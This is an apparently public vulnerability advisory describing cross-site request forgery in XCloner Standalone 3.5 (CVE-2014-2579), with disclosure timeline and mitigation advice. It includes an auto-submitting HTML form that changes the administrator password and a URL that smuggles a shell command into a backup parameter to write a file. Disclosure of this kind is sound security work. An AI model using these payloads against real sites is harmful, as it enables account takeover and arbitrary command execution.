Total Tests:

Сross-Site Request Forgery (CSRF) in XCloner Standalone

Advisory ID:HTB23207
Product:XCloner Standalone
Vendor:XCloner
Vulnerable Versions:3.5 and probably prior
Tested Version:3.5
Advisory Publication:March 14, 2014 [without technical details]
Vendor Notification:March 14, 2014
Public Disclosure:April 9, 2014
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2014-2579
Risk Level:High
CVSSv2 Base Score:7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in XCloner Standalone, which can be exploited to perform Сross-Site Request Forgery (CSRF) attacks and gain complete control over the website.

1. Сross-Site Request Forgery (CSRF) in XCloner Standalone: CVE-2014-2579
1.1 The vulnerability exists due to insufficient validation of HTTP request origin. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and change administrator’s password.
The exploitation example below changes password for user 'login' to 'immuniweb':
<form action="http://[host]/index2.php" method="post" name="main">
<input type="hidden" name="jcuser" value="login">
<input type="hidden" name="jcpass" value="password">
<input type="hidden" name="option" value="com_cloner">
<input type="hidden" name="task" value="config">
<input type="hidden" name="action" value="save">
<script>
document.main.submit();
</script>
</form>

1.2 The vulnerability exists due to insufficient validation of HTTP request origin. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and execute arbitrary system commands on vulnerable system with privileges of the webserver.
The exploitation example below uses the 'echo' system command to write 'immuniweb' string into file '/var/www/file.php':
http://[host]/index2.php?option=com_cloner&task=generate&bname=1&dbbackup=1& cron_access=1&dbbackup_comp=||%20echo immuniweb > /var/www/file.php%20||
Successful exploitation of this vulnerability requires that options 'enable_db_backup' and 'sql_mem' are enabled in application’s configuration file.

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Vendor ignored:
- 6 notifications by email
- 4 notifications via contact form
- 1 notification via twitter.

Currently we are not aware of any official solution for this vulnerability. As a temporary solution it is recommended to remove the vulnerable script or restrict access to it via WAF of .htaccess.


References:
[1] High-Tech Bridge Advisory HTB23207 - https://www.immuniweb.com/advisory/HTB23207 - Сross-Site Request Forgery (CSRF) in XCloner Standalone.
[2] XCloner Standalone - http://www.xcloner.com - XCloner is a professional website Backup and Restore application designed to allow you to create safe complete backups of any PHP/Mysql website and to be able to restore them anywhere. It works as a native Joomla backup component, as a native Wordpress backup plugin and also as standalone PHP/Mysql backup application.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential